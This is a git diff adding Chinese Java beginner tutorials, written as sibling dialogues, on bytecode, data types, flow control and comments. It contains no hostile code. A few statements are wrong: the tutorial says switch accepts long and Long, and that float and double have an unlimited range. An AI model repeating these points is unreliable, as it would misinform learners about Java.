+“二哥,看了上一篇 [Hello World](https://mp.weixin.qq.com/s/191I_2CVOxVuyfLVtb4jhg) 的程序后,我很好奇,它是怎么在 Run 面板里打印出‘三妹,少看手机少打游戏,好好学,美美哒’呢?”三妹咪了一口麦香可可奶茶后对我说。
+
+“三妹,我们通常把 Java 分为编译期和运行时,弄清楚这两个阶段就知道原因了。由于运行时涉及到的内容比较多,这篇文章我们先来说说编译期,等学习了 Java 虚拟机的一些知识后再说道说道运行时。”
+
+贴一下 HelloWorld 这段代码:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("三妹,少看手机少打游戏,好好学,美美哒。");
+ }
+}
+```
+
+点击 IDEA 工具栏中的锤子按钮(Build Project,编译整个项目),如下图所示。
+
+
+
+
+这时候,就可以在 src 的同级目录 target 下找到一个名为 HelloWorld.class 的文件。
+
+
+
+
+如果找不到的话,在目录上右键选择「Reload from Disk,从磁盘上重新加载」,如下图所示:
+
+
+
+
+可以双击打开它。
+
+```java
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by Fernflower decompiler)
+//
+
+package com.itwanger.five;
+
+public class HelloWorld {
+ public HelloWorld() {
+ }
+
+ public static void main(String[] args) {
+ System.out.println("三妹,少看手机少打游戏,好好学,美美哒。");
+ }
+}
+```
+
+IDEA 默认会用 Fernflower 反编译工具将字节码文件(后缀为 .class 的文件,也就是 Java 源代码编译后的文件)反编译为我们可以看得懂的 Java 源代码。但实际上,字节码文件并不是这样的,而是:
+
+```
+// class version 58.0 (58)
+// access flags 0x21
+public class com/itwanger/five/HelloWorld {
+
+ // compiled from: HelloWorld.java
+
+ // access flags 0x1
+ public ()V
+ L0
+ LINENUMBER 6 L0
+ ALOAD 0
+ INVOKESPECIAL java/lang/Object. ()V
+ RETURN
+ L1
+ LOCALVARIABLE this Lcom/itwanger/five/HelloWorld; L0 L1 0
+ MAXSTACK = 1
+ MAXLOCALS = 1
+
+ // access flags 0x9
+ public static main([Ljava/lang/String;)V
+ L0
+ LINENUMBER 8 L0
+ GETSTATIC java/lang/System.out : Ljava/io/PrintStream;
+ LDC "\u4e09\u59b9\uff0c\u5c11\u770b\u624b\u673a\u5c11\u6253\u6e38\u620f\uff0c\u597d\u597d\u5b66\uff0c\u7f8e\u7f8e\u54d2\u3002"
+ INVOKEVIRTUAL java/io/PrintStream.println (Ljava/lang/String;)V
+ L1
+ LINENUMBER 9 L1
+ RETURN
+ L2
+ LOCALVARIABLE args [Ljava/lang/String; L0 L2 0
+ MAXSTACK = 2
+ MAXLOCALS = 1
+}
+```
+
+是不是就有点懵逼了?新手看到这个很容易头大,不过不要担心,后面我再和大家一块深入研究一下,这里就是感受一下字节码的魅力。
+
+那这个字节码文件是怎么看到的呢?可以通过 IDEA 菜单栏中的「View」→「Show Bytecode」查看,如下图所示。
+
+
+
+PS:字节码并不是机器码,操作系统无法直接识别,需要在操作系统上安装不同版本的 Java 虚拟机(JVM)来识别。通常情况下,我们只需要安装不同版本的 JDK(Java Development Kit,Java 开发工具包)就行了,它里面包含了 JRE(Java Runtime Environment,Java 运行时环境),而 JRE 又包含了 JVM。
+
+
+
+Windows、Linux、MacOS 等操作系统都有相应的 JDK,只要安装好了 JDK 就有了 Java 语言的运行时环境,就可以把一份字节码文件在不同的平台上运行了。可以在 [Oracle 官网](https://www.oracle.com/java/technologies/javase-jdk11-downloads.html)上下载不同版本的 JDK。
+
+
+
+PPS:为什么要查看字节码呢?查看字节码文件更容易让我们搞懂 Java 代码背后的原理,比如搞懂 Java 中的各种语法糖的本质。
+
+相比于 IDEA 自带的「Show Bytecode」功能,我更推荐 `jclasslib` 这款插件,可以在插件市场中安装(我已经安装过了)。
+
+
+
+安装完成之后,点击 View -> Show Bytecode With jclasslib 即可通过 jclasslib 查看字节码文件了(点击之前,光标要停留在对应的类文件上),如下图所示。
+
+
+
+使用 jclasslib 不仅可以直观地查看类对应的字节码文件,还可以查看类的基本信息、常量池、接口、字段、方法等信息,如下图所示。
+
+
+
+
+
+也就是说,在编译阶段,Java 会将 Java 源代码文件编译为字节码文件。在这个阶段,编译器会进行一些检查工作,比如说,某个关键字是不是写错了,语法上是不是符合预期了,不能有很明显的错误,否则带到运行时再检查出来就会比较麻烦了。
+
+
\ No newline at end of file
diff --git a/docs/basic-grammar/basic-data-type.md b/docs/basic-grammar/basic-data-type.md
new file mode 100644
index 0000000000..a2a5ae6246
--- /dev/null
+++ b/docs/basic-grammar/basic-data-type.md
@@ -0,0 +1,321 @@
+
+
+“二哥,[上一节](https://mp.weixin.qq.com/s/IgBpLGn0L1HZymgI4hWGVA)提到了 Java 变量的数据类型,是不是指定了类型就限定了变量的取值范围啊?”三妹吸了一口麦香可可奶茶后对我说。
+
+“三妹,你不得了啊,长进很大嘛,都学会推理判断了。Java 是一种静态类型的编程语言,这意味着所有变量必须在使用之前声明好,也就是必须得先指定变量的类型和名称。”
+
+Java 中的数据类型可分为 2 种:
+
+1)**基本数据类型**。
+
+基本数据类型是 Java 语言操作数据的基础,包括 boolean、char、byte、short、int、long、float 和 double,共 8 种。
+
+2)**引用数据类型**。
+
+除了基本数据类型以外的类型,都是所谓的引用类型。常见的有数组(对,没错,数组是引用类型)、class(也就是类),以及接口(指向的是实现接口的类的对象)。
+
+来个思维导图,感受下。
+
+
+
+通过[上一节](https://mp.weixin.qq.com/s/IgBpLGn0L1HZymgI4hWGVA)的学习,我们知道变量可以分为局部变量、成员变量、静态变量。
+
+当变量是局部变量的时候,必须得先初始化,否则编译器不允许你使用它。拿 int 来举例吧,看下图。
+
+
+
+当变量是成员变量或者静态变量时,可以不进行初始化,它们会有一个默认值,仍然以 int 为例,来看代码:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class LocalVar {
+ private int a;
+ static int b;
+
+ public static void main(String[] args) {
+ LocalVar lv = new LocalVar();
+ System.out.println(lv.a);
+ System.out.println(b);
+ }
+}
+```
+
+来看输出结果:
+
+```
+0
+0
+```
+
+瞧见没,int 作为成员变量时或者静态变量时的默认值是 0。那不同的基本数据类型,是有不同的默认值和大小的,来个表格感受下。
+
+| 数据类型 | 默认值 | 大小 |
+| -------- | -------- | ----- |
+| boolean | false | 1比特 |
+| char | '\u0000' | 2字节 |
+| byte | 0 | 1字节 |
+| short | 0 | 2字节 |
+| int | 0 | 4字节 |
+| long | 0L | 8字节 |
+| float | 0.0f | 4字节 |
+| double | 0.0 | 8字节 |
+
+那三妹可能要问,“比特和字节是什么鬼?”
+
+比特币听说过吧?字节跳动听说过吧?这些名字当然不是乱起的,确实和比特、字节有关系。
+
+**1)bit(比特)**
+
+比特作为信息技术的最基本存储单位,非常小,但大名鼎鼎的比特币就是以此命名的,它的简写为小写字母“b”。
+
+大家都知道,计算机是以二进制存储数据的,二进制的一位,就是 1 比特,也就是说,比特要么为 0 要么为 1。
+
+**2)Byte(字节)**
+
+通常来说,一个英文字符是一个字节,一个中文字符是两个字节。字节与比特的换算关系是:1 字节 = 8 比特。
+
+在往上的单位就是 KB,并不是 1000 字节,因为计算机只认识二进制,因此是 2 的 10 次方,也就是 1024 个字节。
+
+(终于知道 1024 和程序员的关系了吧?狗头保命)
+
+
+
+接下来,我们再来详细地了解一下 8 种基本数据类型。
+
+### 01、布尔
+
+布尔(boolean)仅用于存储两个值:true 和 false,也就是真和假,通常用于条件的判断。代码示例:
+
+```java
+boolean flag = true;
+```
+
+
+### 02、byte
+
+byte 的取值范围在 -128 和 127 之间,包含 127。最小值为 -128,最大值为 127,默认值为 0。
+
+在网络传输的过程中,为了节省空间,常用字节来作为数据的传输方式。代码示例:
+
+
+```java
+byte a = 10;
+byte b = -10;
+```
+
+
+
+
+### 03、short
+
+short 的取值范围在 -32,768 和 32,767 之间,包含 32,767。最小值为 -32,768,最大值为 32,767,默认值为 0。代码示例:
+
+```java
+short s = 10000;
+short r = -5000;
+```
+
+
+
+### 04、int
+
+int 的取值范围在 -2,147,483,648(-2 ^ 31)和 2,147,483,647(2 ^ 31 -1)(含)之间,默认值为 0。如果没有特殊需求,整形数据就用 int。代码示例:
+
+```java
+int a = 100000;
+int b = -200000;
+```
+
+### 05、long
+
+long 的取值范围在 -9,223,372,036,854,775,808(-2^63) 和 9,223,372,036,854,775,807(2^63 -1)(含)之间,默认值为 0。如果 int 存储不下,就用 long,整形数据就用 int。代码示例:
+
+```java
+long a = 100000L;
+long b = -200000L;
+```
+
+为了和 int 作区分,long 型变量在声明的时候,末尾要带上大写的“L”。不用小写的“l”,是因为小写的“l”容易和数字“1”混淆。
+
+### 06、float
+
+float 是单精度的浮点数,遵循 IEEE 754(二进制浮点数算术标准),取值范围是无限的,默认值为 0.0f。float 不适合用于精确的数值,比如说货币。代码示例:
+
+```java
+float f1 = 234.5f;
+```
+
+为了和 double 作区分,float 型变量在声明的时候,末尾要带上小写的“f”。不需要使用大写的“F”,是因为小写的“f”很容易辨别。
+
+
+### 07、double
+
+double 是双精度的浮点数,遵循 IEEE 754(二进制浮点数算术标准),取值范围也是无限的,默认值为 0.0。double 同样不适合用于精确的数值,比如说货币。代码示例:
+
+```java
+double d1 = 12.3
+```
+
+那精确的数值用什么表示呢?最好使用 BigDecimal,它可以表示一个任意大小且精度完全准确的浮点数。针对货币类型的数值,也可以先乘以 100 转成整形进行处理。
+
+Tips:单精度是这样的格式,1 位符号,8 位指数,23 位小数,有效位数为 7 位。
+
+
+
+双精度是这样的格式,1 位符号,11 位指数,52 为小数,有效位数为 16 位。
+
+
+
+取值范围取决于指数位,计算精度取决于小数位(尾数)。小数位越多,则能表示的数越大,那么计算精度则越高。
+
+>一个数由若干位数字组成,其中影响测量精度的数字称作有效数字,也称有效数位。有效数字指科学计算中用以表示一个浮点数精度的那些数字。一般地,指一个用小数形式表示的浮点数中,从第一个非零的数字算起的所有数字。如 1.24 和 0.00124 的有效数字都有 3 位。
+
+### 08、char
+
+char 可以表示一个 16 位的 Unicode 字符,其值范围在 '\u0000'(0)和 '\uffff'(65,535)(包含)之间。代码示例:
+
+```java
+char letterA = 'A'; // 用英文的单引号包裹住。
+```
+
+那三妹可能要问,“char 既然只有一个字符,为什么占 2 个字节呢?”
+
+“主要是因为 Java 使用的是 Unicode 字符集而不是 ASCII 字符集。”
+
+这又是为什么呢?我们留到下一节再讲。
+
+基本数据类型在作为成员变量和静态变量的时候有默认值,引用数据类型也有的。
+
+String 是最典型的引用数据类型,所以我们就拿 String 类举例,看下面这段代码:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class LocalRef {
+ private String a;
+ static String b;
+
+ public static void main(String[] args) {
+ LocalRef lv = new LocalRef();
+ System.out.println(lv.a);
+ System.out.println(b);
+ }
+}
+```
+
+输出结果如下所示:
+
+```
+null
+null
+```
+
+null 在 Java 中是一个很神奇的存在,在你以后的程序生涯中,见它的次数不会少,尤其是伴随着令人烦恼的“[空指针异常](https://mp.weixin.qq.com/s/PBqR_uj6dd4xKEX8SUWIYQ)”,也就是所谓的 `NullPointerException`。
+
+也就是说,引用数据类型的默认值为 null,包括数组和接口。
+
+那三妹是不是很好奇,为什么数组和接口也是引用数据类型啊?
+
+先来看数组:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 java
+ */
+public class ArrayDemo {
+ public static void main(String[] args) {
+ int [] arrays = {1,2,3};
+ System.out.println(arrays);
+ }
+}
+```
+
+arrays 是一个 int 类型的数组,对吧?打印结果如下所示:
+
+```
+[I@2d209079
+```
+
+`[I` 表示数组是 int 类型的,@ 后面是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。
+
+
+
+数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢?
+
+一个合理的解释是 Java 将其隐藏了。假如真的存在一个 Array.java,我们也可以假想它真实的样子,它必须要定义一个容器来存放数组的元素,就像 String 类那样。
+
+```java
+public final class String
+ implements java.io.Serializable, Comparable, CharSequence {
+ /** The value is used for character storage. */
+ private final char value[];
+}
+```
+
+数组内部定义数组?没必要的!
+
+再来看接口:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class IntefaceDemo {
+ public static void main(String[] args) {
+ List list = new ArrayList<>();
+ System.out.println(list);
+ }
+}
+```
+
+List 是一个非常典型的接口:
+
+```java
+public interface List extends Collection {}
+```
+
+而 ArrayList 是 List 接口的一个实现:
+
+```java
+public class ArrayList extends AbstractList
+ implements List, RandomAccess, Cloneable, java.io.Serializable
+{}
+```
+
+对于接口类型的引用变量来说,你没法直接 new 一个:
+
+
+
+
+只能 new 一个实现它的类的对象——那自然接口也是引用数据类型了。
+
+来看一下基本数据类型和引用数据类型之间最大的差别。
+
+基本数据类型:
+
+1、变量名指向具体的数值。
+2、基本数据类型存储在栈上。
+
+引用数据类型:
+
+1、变量名指向的是存储对象的内存地址,在栈上。
+2、内存地址指向的对象存储在堆上。
+
+看到这,三妹是不是又要问,“堆是什么,栈又是什么?”
+
+堆是堆(heap),栈是栈(stack),如果看到“堆栈”的话,请不要怀疑自己,那是翻译的错,堆栈也是栈,反正我很不喜欢“堆栈”这种叫法,容易让新人掉坑里。
+
+堆是在程序运行时在内存中申请的空间(可理解为动态的过程);切记,不是在编译时;因此,Java 中的对象就放在这里,这样做的好处就是:
+
+>当需要一个对象时,只需要通过 new 关键字写一行代码即可,当执行这行代码时,会自动在内存的“堆”区分配空间——这样就很灵活。
+
+栈,能够和处理器(CPU,也就是脑子)直接关联,因此访问速度更快。既然访问速度快,要好好利用啊!Java 就把对象的引用放在栈里。为什么呢?因为引用的使用频率高吗?
+
+不是的,因为 Java 在编译程序时,必须明确的知道存储在栈里的东西的生命周期,否则就没法释放旧的内存来开辟新的内存空间存放引用——空间就那么大,前浪要把后浪拍死在沙滩上啊。
+
+这么说就理解了吧?
+
+“好了,三妹,关于 Java 中的数据类型就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。
\ No newline at end of file
diff --git a/docs/basic-grammar/flow-control.md b/docs/basic-grammar/flow-control.md
new file mode 100644
index 0000000000..629a28e9df
--- /dev/null
+++ b/docs/basic-grammar/flow-control.md
@@ -0,0 +1,906 @@
+
+
+“二哥,流程控制语句都有哪些呢?”三妹的脸上泛着甜甜的笑容,她开始对接下来要学习的内容充满期待了,这正是我感到欣慰的地方。
+
+“比如说 if-else、switch、for、while、do-while、return、break、continue 等等,接下来,我们一个个来了解下。”
+
+### 01、if-else 相关
+
+
+
+
+**1)if 语句**
+
+if 语句的格式如下:
+
+```java
+if(布尔表达式){
+// 如果条件为 true,则执行这块代码
+}
+```
+
+画个流程图表示一下:
+
+
+
+
+来写个示例:
+
+```java
+public class IfExample {
+ public static void main(String[] args) {
+ int age = 20;
+ if (age < 30) {
+ System.out.println("青春年华");
+ }
+ }
+}
+```
+
+输出:
+
+```
+青春年华
+```
+
+**2)if-else 语句**
+
+if-else 语句的格式如下:
+
+```java
+if(布尔表达式){
+// 条件为 true 时执行的代码块
+}else{
+// 条件为 false 时执行的代码块
+}
+```
+
+画个流程图表示一下:
+
+
+
+
+来写个示例:
+
+```java
+public class IfElseExample {
+ public static void main(String[] args) {
+ int age = 31;
+ if (age < 30) {
+ System.out.println("青春年华");
+ } else {
+ System.out.println("而立之年");
+ }
+ }
+}
+```
+
+输出:
+
+```
+而立之年
+```
+
+除了这个例子之外,还有一个判断闰年(被 4 整除但不能被 100 整除或者被 400 整除)的例子:
+
+```java
+public class LeapYear {
+ public static void main(String[] args) {
+ int year = 2020;
+ if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) {
+ System.out.println("闰年");
+ } else {
+ System.out.println("普通年份");
+ }
+ }
+}
+```
+
+输出:
+
+```
+闰年
+```
+
+如果执行语句比较简单的话,可以使用三元运算符来代替 if-else 语句,如果条件为 true,返回 ? 后面 : 前面的值;如果条件为 false,返回 : 后面的值。
+
+```java
+public class IfElseTernaryExample {
+ public static void main(String[] args) {
+ int num = 13;
+ String result = (num % 2 == 0) ? "偶数" : "奇数";
+ System.out.println(result);
+ }
+}
+```
+
+输出:
+
+```
+奇数
+```
+
+**3)if-else-if 语句**
+
+if-else-if 语句的格式如下:
+
+```java
+if(条件1){
+// 条件1 为 true 时执行的代码
+}else if(条件2){
+// 条件2 为 true 时执行的代码
+}
+else if(条件3){
+// 条件3 为 true 时执行的代码
+}
+...
+else{
+// 以上条件均为 false 时执行的代码
+}
+```
+
+画个流程图表示一下:
+
+
+
+
+来写个示例:
+
+```java
+public class IfElseIfExample {
+ public static void main(String[] args) {
+ int age = 31;
+ if (age < 30) {
+ System.out.println("青春年华");
+ } else if (age >= 30 && age < 40 ) {
+ System.out.println("而立之年");
+ } else if (age >= 40 && age < 50 ) {
+ System.out.println("不惑之年");
+ } else {
+ System.out.println("知天命");
+ }
+ }
+}
+```
+
+输出:
+
+```
+而立之年
+```
+
+**4)if 嵌套语句**
+
+if 嵌套语句的格式如下:
+
+```java
+if(外侧条件){
+ // 外侧条件为 true 时执行的代码
+ if(内侧条件){
+ // 内侧条件为 true 时执行的代码
+ }
+}
+```
+
+画个流程图表示一下:
+
+
+
+
+来写个示例:
+
+```java
+public class NestedIfExample {
+ public static void main(String[] args) {
+ int age = 20;
+ boolean isGirl = true;
+ if (age >= 20) {
+ if (isGirl) {
+ System.out.println("女生法定结婚年龄");
+ }
+ }
+ }
+}
+```
+
+输出:
+
+```
+女生法定结婚年龄
+```
+
+### 02、switch 语句
+
+switch 语句用来判断变量与多个值之间的相等性。变量的类型可以是 byte、short、int、long,或者对应的包装器类型 Byte、Short、Integer、Long,以及字符串和枚举。
+
+来看一下 switch 语句的格式:
+
+```java
+switch(变量) {
+case 可选值1:
+ // 可选值1匹配后执行的代码;
+ break; // 该关键字是可选项
+case 可选值2:
+ // 可选值2匹配后执行的代码;
+ break; // 该关键字是可选项
+......
+
+default: // 该关键字是可选项
+ // 所有可选值都不匹配后执行的代码
+}
+```
+
+- 变量可以有 1 个或者 N 个值。
+
+- 值类型必须和变量类型是一致的,并且值是确定的。
+
+- 值必须是唯一的,不能重复,否则编译会出错。
+
+- break 关键字是可选的,如果没有,则执行下一个 case,如果有,则跳出 switch 语句。
+
+- default 关键字也是可选的。
+
+
+
+画个流程图:
+
+
+
+
+
+来个示例:
+
+```java
+public class Switch1 {
+ public static void main(String[] args) {
+ int age = 20;
+ switch (age) {
+ case 20 :
+ System.out.println("上学");
+ break;
+ case 24 :
+ System.out.println("苏州工作");
+ break;
+ case 30 :
+ System.out.println("洛阳工作");
+ break;
+ default:
+ System.out.println("未知");
+ break; // 可省略
+ }
+ }
+}
+```
+
+输出:
+
+```
+上学
+```
+
+当两个值要执行的代码相同时,可以把要执行的代码写在下一个 case 语句中,而上一个 case 语句中什么也没有,来看一下示例:
+
+```java
+public class Switch2 {
+ public static void main(String[] args) {
+ String name = "沉默王二";
+ switch (name) {
+ case "詹姆斯":
+ System.out.println("篮球运动员");
+ break;
+ case "穆里尼奥":
+ System.out.println("足球教练");
+ break;
+ case "沉默王二":
+ case "沉默王三":
+ System.out.println("乒乓球爱好者");
+ break;
+ default:
+ throw new IllegalArgumentException(
+ "名字没有匹配项");
+
+ }
+ }
+}
+```
+
+输出:
+
+```
+乒乓球爱好者
+```
+
+枚举作为 switch 语句的变量也很常见,来看例子:
+
+```java
+public class SwitchEnumDemo {
+ public enum PlayerTypes {
+ TENNIS,
+ FOOTBALL,
+ BASKETBALL,
+ UNKNOWN
+ }
+
+ public static void main(String[] args) {
+ System.out.println(createPlayer(PlayerTypes.BASKETBALL));
+ }
+
+ private static String createPlayer(PlayerTypes playerType) {
+ switch (playerType) {
+ case TENNIS:
+ return "网球运动员费德勒";
+ case FOOTBALL:
+ return "足球运动员C罗";
+ case BASKETBALL:
+ return "篮球运动员詹姆斯";
+ case UNKNOWN:
+ throw new IllegalArgumentException("未知");
+ default:
+ throw new IllegalArgumentException(
+ "运动员类型: " + playerType);
+
+ }
+ }
+}
+```
+
+输出:
+
+```
+篮球运动员詹姆斯
+```
+
+### 03、for 循环
+
+
+
+**1)普通 for 循环**
+
+普通的 for 循环可以分为 4 个部分:
+
+1)初始变量:循环开始执行时的初始条件。
+
+2)条件:循环每次执行时要判断的条件,如果为 true,就执行循环体;如果为 false,就跳出循环。当然了,条件是可选的,如果没有条件,则会一直循环。
+
+3)循环体:循环每次要执行的代码块,直到条件变为 false。
+
+4)自增/自减:初识变量变化的方式。
+
+
+
+来看一下普通 for 循环的格式:
+
+
+
+```java
+for(初识变量;条件;自增/自减){
+// 循环体
+}
+```
+
+
+
+画个流程图:
+
+
+
+
+
+
+来个示例:
+
+```java
+public class ForExample {
+ public static void main(String[] args) {
+ for (int i = 0; i < 5; i++) {
+ System.out.println("沉默王三好美啊");
+ }
+ }
+}
+```
+
+输出:
+
+```
+沉默王三好美啊
+沉默王三好美啊
+沉默王三好美啊
+沉默王三好美啊
+沉默王三好美啊
+```
+
+“哎呀,二哥,你真的是变着法夸我啊。”
+
+“非也非也,三妹,你看不出我其实在夸我自己吗?循环语句还可以嵌套呢,这样就可以打印出更好玩的呢,你要不要看看?”
+
+“好呀好呀!”
+
+“看好了啊。”
+
+```java
+public class PyramidForExample {
+ public static void main(String[] args) {
+ for (int i = 0; i < 5; i++) {
+ for (int j = 0;j<= i;j++) {
+ System.out.print("❤");
+ }
+ System.out.println();
+ }
+ }
+}
+```
+
+打印出什么玩意呢?
+
+```
+❤
+❤❤
+❤❤❤
+❤❤❤❤
+❤❤❤❤❤
+```
+
+“哇,太不可思议了,二哥。”
+
+“嘿嘿。”
+
+**2)for-each**
+
+for-each 循环通常用于遍历数组和集合,它的使用规则比普通的 for 循环还要简单,不需要初始变量,不需要条件,不需要下标来自增或者自减。来看一下语法:
+
+```java
+for(元素类型 元素 : 数组或集合){
+// 要执行的代码
+}
+```
+
+
+来看一下示例:
+
+```java
+public class ForEachExample {
+ public static void main(String[] args) {
+ String[] strs = {"沉默王二", "一枚有趣的程序员"};
+
+ for (String str : strs) {
+ System.out.println(str);
+ }
+ }
+}
+```
+
+输出:
+
+```
+沉默王二
+一枚有趣的程序员
+```
+
+“呀,二哥,你开始王哥卖瓜了啊。”
+
+“嘿嘿,三妹,你这样说哥会脸红的。”
+
+**3)无限 for 循环**
+
+“三妹,你想不想体验一下无限 for 循环的威力,也就是死循环。”
+
+“二哥,那会有什么样的后果啊?”
+
+“来,看看就知道了。”
+
+```java
+public class InfinitiveForExample {
+ public static void main(String[] args) {
+ for(;;){
+ System.out.println("停不下来。。。。");
+ }
+ }
+}
+```
+
+输出:
+
+```
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+```
+
+一旦运行起来,就停不下来了,除非强制停止。
+
+### 04、while 循环
+
+来看一下 while 循环的格式:
+
+
+
+```java
+while(条件){
+//循环体
+}
+```
+
+
+
+画个流程图:
+
+
+
+
+
+
+
+来个示例:
+
+```java
+public class WhileExample {
+ public static void main(String[] args) {
+ int i = 0;
+ while (true) {
+ System.out.println("沉默王三");
+ i++;
+ if (i == 5) {
+ break;
+ }
+ }
+ }
+}
+```
+
+“三妹,你猜猜会输出几次?”
+
+“五次吗?”
+
+“对了,你可真聪明。”
+
+```
+沉默王三
+沉默王三
+沉默王三
+沉默王三
+沉默王三
+```
+
+
+
+“三妹,你想不想体验一下无限 while 循环的威力,也就是死循环。”
+
+“二哥,那会有什么样的后果啊?”
+
+“来,看看就知道了。”
+
+```java
+public class InfinitiveWhileExample {
+ public static void main(String[] args) {
+ while (true) {
+ System.out.println("停不下来。。。。");
+ }
+ }
+}
+```
+
+输出:
+
+```
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+```
+
+把 while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。
+
+### 05、do-while 循环
+
+来看一下 do-while 循环的格式:
+
+
+
+```java
+do{
+// 循环体
+}while(提交);
+```
+
+
+
+画个流程图:
+
+
+
+
+
+
+
+
+来个示例:
+
+```java
+public class DoWhileExample {
+ public static void main(String[] args) {
+ int i = 0;
+ do {
+ System.out.println("沉默王三");
+ i++;
+ if (i == 5) {
+ break;
+ }
+ } while (true);
+ }
+}
+```
+
+“三妹,你猜猜会输出几次?”
+
+“五次吗?”
+
+“对了,你可真聪明。”
+
+```
+沉默王三
+沉默王三
+沉默王三
+沉默王三
+沉默王三
+```
+
+
+
+“三妹,你想不想体验一下无限 do-while 循环的威力......”
+
+“二哥,又来啊,我都腻了。”
+
+“来吧,例行公事,就假装看看嘛。”
+
+```java
+public class InfinitiveDoWhileExample {
+ public static void main(String[] args) {
+ do {
+ System.out.println("停不下来。。。。");
+ } while (true);
+ }
+}
+```
+
+输出:
+
+```
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+停不下来。。。。
+```
+
+把 do-while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。
+
+
+
+### 06、break
+
+break 关键字通常用于中断循环或 switch 语句,它在指定条件下中断程序的当前流程。如果是内部循环,则仅中断内部循环。
+
+可以将 break 关键字用于所有类型循环语句中,比如说 for 循环、while 循环,以及 do-while 循环。
+
+来画个流程图感受一下:
+
+
+
+
+
+用在 for 循环中的示例:
+
+```java
+for (int i = 1; i <= 10; i++) {
+ if (i == 5) {
+ break;
+ }
+ System.out.println(i);
+}
+```
+
+用在嵌套 for 循环中的示例:
+
+```java
+for (int i = 1; i <= 3; i++) {
+ for (int j = 1; j <= 3; j++) {
+ if (i == 2 && j == 2) {
+ break;
+ }
+ System.out.println(i + " " + j);
+ }
+}
+```
+
+用在 while 循环中的示例:
+
+```java
+int i = 1;
+while (i <= 10) {
+ if (i == 5) {
+ i++;
+ break;
+ }
+ System.out.println(i);
+ i++;
+}
+```
+
+用在 do-while 循环中的示例:
+
+```java
+int j = 1;
+do {
+ if (j == 5) {
+ j++;
+ break;
+ }
+ System.out.println(j);
+ j++;
+} while (j <= 10);
+```
+
+用在 switch 语句中的示例:
+
+```java
+switch (age) {
+ case 20 :
+ System.out.println("上学");
+ break;
+ case 24 :
+ System.out.println("苏州工作");
+ break;
+ case 30 :
+ System.out.println("洛阳工作");
+ break;
+ default:
+ System.out.println("未知");
+ break; // 可省略
+}
+```
+
+### 07、continue
+
+当我们需要在 for 循环或者 (do)while 循环中立即跳转到下一个循环时,就可以使用 continue 关键字,通常用于跳过指定条件下的循环体,如果循环是嵌套的,仅跳过当前循环。
+
+来个示例:
+
+```java
+public class ContinueDemo {
+ public static void main(String[] args) {
+ for (int i = 1; i <= 10; i++) {
+ if (i == 5) {
+ // 使用 continue 关键字
+ continue;// 5 将会被跳过
+ }
+ System.out.println(i);
+ }
+ }
+}
+```
+
+输出:
+
+```
+1
+2
+3
+4
+6
+7
+8
+9
+10
+```
+
+“二哥,5 真的被跳过了呀。”
+
+“那必须滴。不然就是 bug。”
+
+再来个循环嵌套的例子。
+
+```java
+public class ContinueInnerDemo {
+ public static void main(String[] args) {
+ for (int i = 1; i <= 3; i++) {
+ for (int j = 1; j <= 3; j++) {
+ if (i == 2 && j == 2) {
+ // 当i=2,j=2时跳过
+ continue;
+ }
+ System.out.println(i + " " + j);
+ }
+ }
+ }
+}
+```
+
+打印出什么玩意呢?
+
+```
+1 1
+1 2
+1 3
+2 1
+2 3
+3 1
+3 2
+3 3
+```
+
+“2 2” 没有输出,被跳过了。
+
+再来看一下 while 循环时 continue 的使用示例:
+
+```java
+public class ContinueWhileDemo {
+ public static void main(String[] args) {
+ int i = 1;
+ while (i <= 10) {
+ if (i == 5) {
+ i++;
+ continue;
+ }
+ System.out.println(i);
+ i++;
+ }
+ }
+}
+```
+
+输出:
+
+```
+1
+2
+3
+4
+6
+7
+8
+9
+10
+```
+
+注意:如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。
+
+最后,再来看一下 do-while 循环时 continue 的使用示例:
+
+```java
+public class ContinueDoWhileDemo {
+ public static void main(String[] args) {
+ int i=1;
+ do{
+ if(i==5){
+ i++;
+ continue;
+ }
+ System.out.println(i);
+ i++;
+ }while(i<=10);
+ }
+}
+
+```
+
+输出:
+
+```
+1
+2
+3
+4
+6
+7
+8
+9
+10
+```
+
+注意:同样的,如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/basic-grammar/javadoc.md b/docs/basic-grammar/javadoc.md
new file mode 100644
index 0000000000..5eb560c1c2
--- /dev/null
+++ b/docs/basic-grammar/javadoc.md
@@ -0,0 +1,174 @@
+
+
+“二哥,Java 中的注释好像真没什么可讲的,我已经提前预习了,不过是单行注释,多行注释,还有文档注释。”三妹的脸上泛着甜甜的笑容,她竟然提前预习了接下来要学习的知识,有一种“士别三日,当刮目相看”的感觉。
+
+“注释的种类确实不多,但还是挺有意思的,且听哥来给你说道说道。”
+
+
+
+
+
+
+### 01、单行注释
+
+单行注释通常用于解释方法内某单行代码的作用。
+
+```java
+public void method() {
+ int age = 18; // age 用于表示年龄
+}
+```
+
+**但如果写在行尾的话,其实是不符合阿里巴巴的开发规约的**。
+
+
+
+正确的单行注释如上图中所说,在被注释语句上方另起一行,使用 `//` 注释。
+
+```java
+public void method() {
+ // age 用于表示年龄
+ int age = 18;
